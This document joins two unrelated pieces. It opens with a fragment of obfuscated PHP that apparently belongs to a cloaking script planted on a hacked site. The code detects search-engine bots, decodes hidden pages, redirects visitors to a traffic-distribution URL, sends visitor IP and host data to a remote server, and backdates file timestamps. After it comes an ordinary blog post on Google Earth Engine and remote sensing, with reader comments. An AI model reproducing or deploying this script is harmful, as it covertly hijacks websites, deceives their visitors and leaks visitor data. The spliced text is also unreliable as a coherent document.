_41);$this->_43=strlen($this->_42);$this->_46=(is_dir($this->_44)&&is_writable($this->_44));$this->_16->l__16("init cache result: {$this->_46}");}function l__25($_3){if(!$this->_48){$this->_16->l__16(_1916063019(219));return false;}$_53=$this->l__26($_3);$this->_16->l__16("[cache] try $_53.");if(!file_exists($_53)){$this->_16->l__16(_1916063019(220));return false;}$_25=false;$_54=@fopen($_53,_1916063019(221));if($_54){if(@flock($_54,LOCK_SH)){fseek($_54,$this->_43);$_25=@fread($_54,(filesize($_53)-$this->_43));if($_25){$_55=@unserialize(gzuncompress($_25));if(is_array($_55)){if((time()-$_55[_1916063019(222)])<$this->_45*3600){$_25=$_55[_1916063019(223)];}else{$this->_16->l__16(_1916063019(224));$_25=false;}}else $this->_16->l__16(_1916063019(225));}@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache] !!!ERROR can't lock file $_53");@fclose($_54);}else $this->_16->l__16("[cache] !!!ERROR can't open file $_53");return $_25;}function l__21($_3,$_8){if(!$this->_48){$this->_16->l__16(_1916063019(226));return false;}$_53=$this->l__26($_3);$_56=array(_1916063019(227)=>time(),_1916063019(228)=>$_8);$_57=gzcompress(serialize($_56),$this->_47);$_58=$this->_42 .$_57;$_59=(file_exists($_53))?filemtime($_53):time();if(time()-$_59<100){$_59=time()-(3600*24*365)*2;$this->_16->l__16(_1916063019(229));}$_60=false;$_54=@fopen($_53,_1916063019(230));if($_54){if(@flock($_54,LOCK_EX)){$_60=@fwrite($_54,$_58);@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache]!!!ERROR can't lock file $_53");@fclose($_54);}else{$this->_16->l__16("[cache]!!!ERROR can't open file $_53");}@touch($_53,$_59,$_59);$this->_16->l__16("[cache]write to cache $_53: " .(((bool)$_60)?_1916063019(231):_1916063019(232)));return $_60;}function l__26($_3){$_61=str_replace(array(_1916063019(233),_1916063019(234),_1916063019(235),_1916063019(236),_1916063019(237)),_1916063019(238),strtolower($_3));$_62=crc32($_61);return $this->_44 ."button$_62.png";}}class l__27{var $_63;var $_64;var $_37;var $_38;function l__27($_65){$this->_63=$_65;$this->_64=(isset($_SERVER[_1916063019(239)]))?$_SERVER[_1916063019(240)]:getenv(_1916063019(241));$this->_64=trim($this->_64);}}class ____SerpUser_Detector extends l__27{function l__28(){$_66=false;if(preg_match(_1916063019(242),$this->_64)){$_67=array();if(preg_match(_1916063019(243),$this->_64,$_67)){$_68=(isset($_67[2]))?$_67[2]:null;$this->_38=$_68;if(!empty($_68)){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}}class l__29 extends l__27{var $_70;var $_71;var $_72;var $_73;var $_74='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';function l__29($_65,&$_75,$_10,$_76){$this->_70=&$_75;$this->_71=$_76;$this->_72=$_10;$this->_73=3600*6;parent::l__27($_65);}function l__28($_3){$_66=false;if(preg_match(_1916063019(244),$this->_64)){$_67=array();if(preg_match(_1916063019(245),$this->_64,$_67)){$_68=$this->l__30($_3);if($_68!==false){$this->_38=$_68;}if(!empty($_68)&&$_68!==false){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}function l__30($_3){$_77=false;$_78=false;$_79=$this->l__33();$_80=$this->l__35($_3);$_81=time();$_82=_1916063019(246);if(isset($_79[$_80][_1916063019(247)])){$_82=$_79[$_80][_1916063019(248)];}if(empty($_82)){$_69=$this->l__32($_3);if($_69!==false){$_82=$_79[$_80][_1916063019(249)]=$_69;}}if(!empty($_82)){$_83=array(_1916063019(250)=>false,_1916063019(251)=>0);if(isset($_79[$_80][_1916063019(252)])){$_83=$_79[$_80][_1916063019(253)];}if(!$_83[_1916063019(254)]){if(($_81-$_83[_1916063019(255)])>$this->_73){if($this->l__31($_3))$_83[_1916063019(256)]=$_79[$_80][_1916063019(257)][_1916063019(258)]=true;else $_79[$_80][_1916063019(259)][_1916063019(260)]=false;$_79[$_80][_1916063019(261)][_1916063019(262)]=$_81;$_77=true;}}$_78=$_83[_1916063019(263)];}if($_77){$this->l__34($_79);}return($_78&&!empty($_82))?$_82:false;}function l__31($_3){global $_84;$_84=implode(_1916063019(264),$this->_63);$_85=str_replace(_1916063019(265),urlencode($_3),$this->_74);$_86=$this->_72->l__53($_85,true);foreach($this->_63 as $_69){if(stristr($_86,$_69)!==false){return true;}}return false;}function l__32($_3){$_86=$this->_70->l__71($_3);if($_86[_1916063019(266)]){$_87=array();if(preg_match(_1916063019(267),$_86[_1916063019(268)],$_87)){$_69=$_87[1];return $_69;}}return false;}function l__33(){if(!file_exists($this->_71)){$_88=time()-3600*24*31*3;@touch($this->_71,$_88,$_88);return array();}$_54=@fopen($this->_71,_1916063019(269));if($_54){@flock($_54,LOCK_SH);$_8=@fread($_54,filesize($this->_71));@flock($_54,LOCK_UN);@fclose($_54);$_89=@unserialize(gzuncompress($_8));return($_89===false)?array():$_89;}return array();}function l__34($_79){$_90=@filemtime($this->_71);$_57=gzcompress(serialize($_79),5);$_54=@fopen($this->_71,_1916063019(270));if($_54){@flock($_54,LOCK_EX);fwrite($_54,$_57);@flock($_54,LOCK_UN);@fclose($_54);@touch($this->_71,$_90,$_90);}}function l__35($_3){$_61=str_replace(array(_1916063019(271),_1916063019(272),_1916063019(273),_1916063019(274),_1916063019(275)),_1916063019(276),strtolower($_3));return md5($_61);}}class l__36{var $_91;var $_92=array();var $_93;var $_94;var $_16;var $_95='[botdetector]';function l__36($_9,&$_96,&$_97,&$_50,$_98=array('ua','ip')){$this->_92=$_9;$this->_93=$_96;$this->_94=$_97;$this->_91=$_98;$this->_16=&$_50;}function l__37(){$_99=$_SERVER[_1916063019(277)];$_100=$this->_94->l__43();if($_100===false)return false;$_101=false;if(in_array(_1916063019(278),$this->_91)){$this->_16->l__16("{$this->_95} check ip");$_101=$this->l__39($_99,$_100[_1916063019(279)]);}if(!$_101&&in_array(_1916063019(280),$this->_91)){$this->_16->l__16("{$this->_95} check ua");$_101=$this->l__38($_100[_1916063019(281)]);}if(!$_101){$this->_16->l__16("{$this->_95} check host");$_101=$this->l__41($_99);}return $_101;}function l__38(&$_102){$_103=$_SERVER[_1916063019(282)];foreach($_102 as $_104){if(stristr($_103,$_104))return true;}return false;}function l__39($_99,&$_105){$_106=ip2long($_99);$_107=false;foreach($_105 as $_108){$_108=trim($_108);if(stristr($_108,_1916063019(283))!==false||stristr($_108,_1916063019(284))!==false){list($_109,$_110)=$this->l__40($_108);$_111=ip2long($_109);$_112=ip2long($_110);if($_106>=$_111&&$_106<=$_112){$_107=true;break;}}else{if($_99==$_108){$_107=true;break;}}}return $_107;}function l__40($_99){$_113=explode(_1916063019(285),$_99);$_114=$_115=array();foreach($_113 as $_116){if($_116== _1916063019(286)){$_114[]=0;$_115[]=255;continue;}if(stristr($_116,_1916063019(287))){$_117=explode(_1916063019(288),$_116);$_114[]=$_117[0];$_115[]=$_117[1];}else{$_114[]=$_116;$_115[]=$_116;}}return array(join(_1916063019(289),$_114),join(_1916063019(290),$_115));}function l__41($_99){if(!$this->_92[_1916063019(291)])return false;$_118=@gethostbyaddr($_99);if(empty($_118))return false;$_118=strtolower($_118);foreach($this->_92[_1916063019(292)]as $_119){if(strpos($_118,$_119)!==false){$this->_93->l__49($_99,$_118);return true;}}return false;}}class l__42{var $_72;var $_120;var $_121;var $_122;var $_95='[botprovider]';var $_16;function l__42(&$_10,&$_50,$_123,$_124,$_125){$this->_72=$_10;$this->_120=$_123;$this->_121=$_124;$this->_122=$_125*3600;$this->_16=&$_50;}function l__43(){$_8=$this->l__44();if($_8===false||time()-($_8[_1916063019(293)])>$this->_122){$this->_16->l__16("{$this->_95} data need update. try update");$this->l__45();$_8=$this->l__44();}if($_8===false)$this->_16->l__16("{$this->_95} data is not present");return $_8;}function l__44(){if(!file_exists($this->_121)){$this->_16->l__16("{$this->_95} bot file not exists");return false;}clearstatcache();if(filesize($this->_121)==0)return false;$_8=false;$_54=@fopen($this->_121,_1916063019(294));if($_54){if(@flock($_54,LOCK_SH)){$_126=fread($_54,filesize($this->_121));$_8=$this->l__46($_126);if($_8===false)$this->_16->l__16("{$this->_95} data is corrupted");@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for read");@fclose($_54);}else{$this->_16->l__16("{$this->_95} cannot open file for read");}return $_8;}function l__45(){$_127=(file_exists($this->_121))?filemtime($this->_121):(time()-24*3600*30*3);$_54=@fopen($this->_121,_1916063019(295));if($_54){if(@flock($_54,LOCK_EX)){$_128=$this->_72->l__53($this->_120);$_129=$this->l__46($_128);if($_129!==false){$_8=array(_1916063019(296)=>time(),_1916063019(297)=>$_129[_1916063019(298)],_1916063019(299)=>$_129[_1916063019(300)]);$_126=$this->l__47($_8);@ftruncate($_54,0);if(!@fwrite($_54,$_126))$this->_16->l__16("{$this->_95} cannot write data");}else{$this->_16->l__16("{$this->_95} server data is corrupted");}@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for update");@fclose($_54);@touch($this->_121,$_127,$_127);}else{$this->_16->l__16("{$this->_95} cannot open file for update");}}function l__46($_126){return@unserialize(gzuncompress($_126));}function l__47($_8){return gzcompress(serialize($_8),9);}}class l__48{var $_72;var $_130;function l__48($_10,$_3){$this->_72=$_10;$this->_130=$_3;}function l__49($_99,$_131){$_8=array(_1916063019(301)=>$_SERVER[_1916063019(302)],_1916063019(303)=>$_99,_1916063019(304)=>$_131,_1916063019(305)=>$_SERVER[_1916063019(306)]);$_1=array();foreach($_8 as $_69 => $_132){$_1[]="$_69=" .base64_encode($_132);}$_1[]=_1916063019(307) .crc32($_8[_1916063019(308)]);$_3=$this->_130 ._1916063019(309) .join(_1916063019(310),$_1);@$this->_72->l__54($_3);}}class l__50{var $_92=array('timeout'=>10,'headers'=>array());var $_133;var $_16;var $_134;function l__50(&$_50,$_135='curl',$_9=array()){$this->_16=&$_50;$this->_134=$_135;$this->_92=array_merge($this->_92,$_9);}function l__51($_69,$_132){$this->_92[$_69]=$_132;}function l__52(){$_136=array();foreach($this->_92[_1916063019(311)]as $_69=>$_132)$_136[]="$_69: $_132";return $_136;}function l__53($_3,$_137=true){switch($this->_134){case _1916063019(312):$_138=$this->l__60($_3,$_137);break;case _1916063019(313):$_138=$this->l__58($_3,$_137);break;case _1916063019(314):$_138=$this->l__55($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}$this->_16->l__16(_1916063019(315) .strlen($_138));return $_138;}function l__54($_3){switch($this->_134){case _1916063019(316):return $this->l__61($_3);break;case _1916063019(317):return $this->l__59($_3);break;case _1916063019(318):return $this->l__56($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}}function l__55($_3){$this->_16->l__16("[webclient(socket)] load content: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(319);$_55=_1916063019(320);while(!@feof($_54)){$_55.=@fread($_54,8192);}fclose($_54);$_113=explode(_1916063019(321),$_55,2);$_55=(count($_113)==2)?$_113[1]:$_55;return $_55;}function l__56($_3){$this->_16->l__16("[webclient(socket)] load headers: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(322);$_55=_1916063019(323);while(!@feof($_54)){$_55.=@fread($_54,8192);if(strpos($_55,_1916063019(324))!==false){$_113=explode(_1916063019(325),$_55,2);$_55=$_113[0];break;}}fclose($_54);return $this->l__63($_55);}function l__57($_3){$this->_133=_1916063019(326);$_139=parse_url($_3);$_53=(empty($_139[_1916063019(327)]))?_1916063019(328):$_139[_1916063019(329)];if(!empty($_139[_1916063019(330)]))$_53.= _1916063019(331) .$_139[_1916063019(332)];$_140=$_141=null;$_54=@fsockopen($_139[_1916063019(333)],80,$_140,$_141,$this->_92[_1916063019(334)]);if(!$_54){$this->_16->l__16("[webclient(socket)] error: $_141");return false;}stream_set_timeout($_54,$this->_92[_1916063019(335)]);fwrite($_54,"GET $_53 HTTP/1.1\n");fwrite($_54,"Host: {$_139[_1916063019(336)]}\n");fwrite($_54,_1916063019(337));foreach($this->l__52()as $_142)fwrite($_54,"$_142\n");fwrite($_54,_1916063019(338));return $_54;}function l__58($_3,$_137=true){$this->_133=_1916063019(339);$this->_16->l__16("[webclient(fopen)] load content: $_3");$_143=array(_1916063019(340)=>array(_1916063019(341)=>7,_1916063019(342)=>$_137,_1916063019(343)=>join(_1916063019(344),$this->l__52()),_1916063019(345)=>$this->_92[_1916063019(346)]));$_144=stream_context_create($_143);$_54=@fopen($_3,_1916063019(347),false,$_144);$_55=_1916063019(348);while(!@feof($_54)){$_55.=@fread($_54,8192);}@fclose($_54);return $_55;}function l__59($_3){$this->_133=_1916063019(349);$this->_16->l__16("[webclient(get_headers)] load headers: $_3");$_145=@get_headers($_3,true);return $_145;}function l__60($_3,$_137=true){global $_84;$this->_16->l__16("[webclient(curl)] load content: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,0);@curl_setopt($_146,CURLOPT_FOLLOWLOCATION,$_137);curl_setopt($_146,CURLOPT_HTTPHEADER,$this->l__52());$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");if(stristr($_3,_1916063019(350))&& curl_errno($_146)>0){$_55=$_84;}}if(stristr($_3,_1916063019(351))&& curl_getinfo($_146,CURLINFO_HTTP_CODE)==302){$_55=$_84;}curl_close($_146);return $_55;}function l__61($_3){$this->_16->l__16("[webclient(curl)] load headers: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,1);curl_setopt($_146,CURLOPT_NOBODY,1);$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");}curl_close($_146);return $this->l__63($_55);}function l__62($_3){$this->_133=_1916063019(352);$_146=curl_init();curl_setopt($_146,CURLOPT_URL,$_3);curl_setopt($_146,CURLOPT_TIMEOUT,$this->_92[_1916063019(353)]);curl_setopt($_146,CURLOPT_RETURNTRANSFER,true);return $_146;}function l__63($_148){$_148=str_replace(_1916063019(354),_1916063019(355),$_148);$_149=explode(_1916063019(356),$_148);$_145=array();foreach($_149 as $_150){$_150=trim($_150);if(empty($_150))continue;if(strpos($_150,_1916063019(357))===false)continue;@list($_69,$_132)=explode(_1916063019(358),$_150,2);if(isset($_145[$_69])){if(!is_array($_145[$_69]))$_145[$_69]=array($_145[$_69]);$_145[$_69][]=$_132;}else $_145[$_69]=(!empty($_132))?$_132:_1916063019(359);}$this->_16->l__16(_1916063019(360) .trim($_148));return $_145;}}class l__64{var $_72;var $_151;function l__64($_10,$_152){$this->_72=&$_10;$_152=str_replace(_1916063019(361),$_SERVER[_1916063019(362)],$_152);$_152=str_replace(_1916063019(363),rawurlencode($_SERVER[_1916063019(364)]),$_152);$_152=str_replace(_1916063019(365),rawurlencode(_1916063019(366) .@$_SERVER[_1916063019(367)]),$_152);$this->_151=$_152;}function l__65(){return preg_replace(_1916063019(368),_1916063019(369),$this->_151);}function l__66($_69,$_132){$this->_151=str_replace(_1916063019(370) .$_69 ._1916063019(371),rawurlencode($_132),$this->_151);}function l__67(){$_145=$this->_72->l__54($this->l__65());if(!isset($_145[_1916063019(372)]))return false;$_153=trim($_145[_1916063019(373)]);$_154=_1916063019(374);if(strpos($_153,_1916063019(375))!==false){list($_153,$_154)=explode(_1916063019(376),$_153);}return array($_153,$_154);}}class ____External_Base{function l__68($_138){echo $_138;}}class l__69{var $_155;var $_72=false;var $_156;function l__69($_157,$_10=false){$this->_155=rtrim($_157,_1916063019(377)) ._1916063019(378);if($_10)$this->_72=&$_10;}function l__70($_158){$this->_156=$_158;}function l__71($_3){$_69=$this->l__72($_3);$_159=$this->_155 .$_69;$_86=false;$_160=_1916063019(379);$_161=false;if($this->_72!=false){$_86=$this->_72->l__53($_159);$_160=$this->_72->_133;$_86=trim($_86);if(stristr($_86,_1916063019(380))){$_86=false;$_161=true;}}else{$_86=$this->l__73($_159);if($_86===false)$_161=true;$_160=_1916063019(381);}if($this->_156!==null){$_86=$this->_156->l__74($_86);}return array(_1916063019(382)=>(bool)$_86,_1916063019(383)=>$_86,_1916063019(384)=>$_159,_1916063019(385)=>$_160,_1916063019(386)=>$_161);}function l__72($_3){$_61=str_replace(array(_1916063019(387),_1916063019(388),_1916063019(389),_1916063019(390),_1916063019(391)),_1916063019(392),strtolower($_3));return md5($_61);}function l__73($_53){if(!file_exists($_53))return false;@$_162=fopen($_53,_1916063019(393));@$_86=fread($_162,filesize($_53));@fclose($_162);return $_86;}}class ____CloackPage_Decoder{function l__74($_8){if(empty($_8))return null;$_163=@base64_decode($_8);if($_163===false)return $_8;$_129=@gzinflate(@str_rot13($_163));if($_129===false)return $_8;return $_129;}}class ____Bootstrap_Simple extends l__0{function l__75(){if(!isset($this->_6[_1916063019(394)]))$this->_6[_1916063019(395)]=&new l__76($this->l__2($this->_7),$this->_4[_1916063019(396)][_1916063019(397)]);return $this->_6[_1916063019(398)];}}class ____Engine_Simple extends l__9{function l__11($_3,$_23){$_24=$this->_15->l__75();$_22=$this->_15->l__4();$_164=$_22->l__65();if($this->_4[_1916063019(399)]== _1916063019(400)){if(!$this->_18)$_24->l__77();$this->_16->l__16("request tds url: $_164");list($_153,$_154)=$_22->l__67();$this->_16->l__16("received out url: $_153");if($_153===false){$this->_16->l__16("bad out url. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16("try load out page: $_153");$_165=$this->_15->l__7();$_86=$_165->l__25($_153);if($_86===false||strlen($_86)<10){$this->_16->l__16(_1916063019(401));$_86=$_24->l__79($_153);if($_86==false||strlen($_86)<10){$this->_16->l__16("bad loaded page. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16(_1916063019(402));$_165->l__21($_153,$_86);if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}else{$this->_16->l__16(_1916063019(403));if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}}else{$this->_16->l__16("local work. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}}function l__12($_23){}}class l__76 extends ____External_Base{var $_72;var $_166;var $_167;function l__76($_10,$_168){$this->_72=&$_10;$this->_166=_1916063019(404) .str_replace(_1916063019(405),_1916063019(406),uniqid(rand(),true));$this->_167=$_168;@ini_set(_1916063019(407),0);@ini_set(_1916063019(408),1);@ob_end_clean();@ob_implicit_flush();}function l__77(){}function l__78(){}function l__79($_153){$_99=@$_SERVER[_1916063019(409)];if(strpos($_153,_1916063019(410))!==false){$_169="ip=$_99&remote_ip=$_99";$_153.=(strpos($_153,_1916063019(411))===false)?_1916063019(412):_1916063019(413);$_153.=$_169;}$_86=$this->_72->l__53($_153);if($_86){$_86=preg_replace_callback('/]+)href\s*=\s*["\']([^\s>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$_86);if(!@preg_match(_1916063019(414),$_86)){$_170="";if(@preg_match(_1916063019(415),$_86))$_86=@preg_replace(_1916063019(416),"$1$_170",$_86,1);else if(@preg_match(_1916063019(417),$_86))$_86=str_replace(_1916063019(418),$_170 ._1916063019(419) ._1916063019(420),$_86);else $_86=$_170 .$_86;}}return $_86;}function l__80($_3){if(!headers_sent()){header("Location: $_3");}else{$_28=_1916063019(421) .$_3 ._1916063019(422);$_28.= _1916063019(423) .$_3 ._1916063019(424);echo $_28;@flush();@ob_flush();}}function l__81($_138,$_23){$_171=$this->l__83($_23);$_138=preg_replace(_1916063019(425),"",$_138);echo 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justfrontpage

Google Earth: Making Remote Sensing Accessible to the ‘Everyman’

There is something so surreal and elegant about observing the earth from space.  This is one of the reasons why I find remote sensing so appealing; however, after spending a year just trying to learn the basics of remote sensing software and perfecting my land-cover classification skills, I realized that there’s an inherently steep learning curve associated with this technology.  An amateur like myself can’t just expect to download images from NASA and magically make sense of the pixels.  In fact, it’s really challenging and there’s a lot of bad remote sensing that goes on out there.  This being said, I’ve been blown away with tools like Google Earth that have made satellite imagery more accessible to the Everyman (who hasn’t checked out an aerial view of their childhood home or dream vacation locale?).

Somehow, in my frenzy following the Chinese delegation at COP-15 in Copenhagen, I totally missed Google’s announcement of a platform called Earth Engine, a new computational tool that allows for “global-scale analysis of satellite imagery” but in an easy-to-use, free, and Google-fied way.  Google.org plans to publicly launch the Earth Engine platform at COP-16 in Cancun, Mexico in November.

Exciting stuff, but what does this mean?

Screenshot of one of the Earth Engine prototypes (Google.org).

1) The demystification of remote sensing.  Like Google Earth, Google is bringing remote sensing to the Everyman, making it an accessible technology that perhaps my mother could use (I don’t mean to pick on my immigrant Taiwanese mother, but I realized how obscure remote sensing can be when she asked me what I meant by it in a recent phone conversation).  Not only that, but it will be free.  I had to shell over $200 last semester for a student license to ENVI, one of the popular digital analysis software out there, and was not happy that it only lasts for a year.  With Google’s Earth Engine, pricey software will no longer be a barrier of entry for those who are interested in exploring the potential of remote sensing.

2) Google will be moving remote sensing to the ‘cloud’ (cleverly, Google.org called this ‘seeing the forest through the cloud‘). What this means is that users can contribute their own processing algorithms, images, classification maps and share them if they like (although Google also promises data protection and privacy for those who choose).  So you won’t have to re-invent the wheel when it comes to looking at deforestation patterns in the Amazon basin, if someone else already has.  Or, more exciting, you could produce a classification map and without having to fly to a location to ground-truth your results, you could put your map into the ‘cloud’ and then ask for users in that place to verify!

In these terms, moving remote sensing to the cloud make sense, particularly when considering all the time that will be saved if Google can take care of all the pre-processing that is often involved with using raw satellite images. In an interview for V1 Magazine, Rebecca Moore, engineering manager of Earth Engine and Google Earth Outreach, said this:

“If a university student wants to try out a new algorithm, this platform should allow them to do that within seconds or minutes rather than laboriously gathering data, doing orthorectification and cloud correction and all these sorts of things. We’ll take care of the preprocessing of the data to get it to a standard form that is immediately ready for advanced analysis.”

3) Google Earth Engine will bridge the digital divide between developed and developing countries with regards to remote sensing.  As Moore also mentions, to monitor many real-time changes in forests, it often requires “a lot of computation horse power and storage for the massive amounts of data” involved with satellite imagery.  Many institutions, particularly those in developing countries, often do not have this capacity.  With Google hosting this imagery and information through this platform in the cloud, these issues become less challenging.  Developing countries, where much of the world’s remaining forests occur, would be able to monitor deforestation in near real-time with this tool without having to make huge investments in servers and computer processors.

4) Google is coming one step closer in bridging the gap between remote sensing and policy.  A question that I keep running into through my research is why hasn’t satellite information and remote sensing been adopted more in national and international policy-making?  Satellite imagery has been around for 30 years, but why is it not used to monitor progress or compliance in any international treaty?  It’s no coincidence that Google has chosen COP-15 and COP-16 as its platform of choice to release the Earth Engine. In the context of international climate policy, remote sensing has surfaced as a way to ensure that countries’ actions and commitments toward climate change mitigation are measurable, reportable, and verifiable (MRV), particularly in terms of forest carbon stocks, as emissions from forest degradation and deforestation (REDD) were important topics in Copenhagen.  Google’s Earth Engine is making remote sensing as an MRV tool that much more of a reality.

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  • edmore mattekenya

    can Google earth be used for drawing a map on the image ? like putting boundary on the desired area and create a dot map which can be added with layers

  • http://hsu.me Angel Hsu

    there’s a new tool called Google Maps Engine: check it out – my students used it for their class project this past semester. http://www.google.com/enterprise/mapsearth/products/mapsengine.html

  • Noah

    Do you know if Google Earth Engine allows for customized rasters to be used with the timespan option? I’ve not found any other viewer that is able to cruise though the different timesteps while being able to zoom in and render higher definition pyramids.

  • http://hsu.me Angel Hsu

    Hmm … good question. I’m really not sure. I’d email their support to ask them.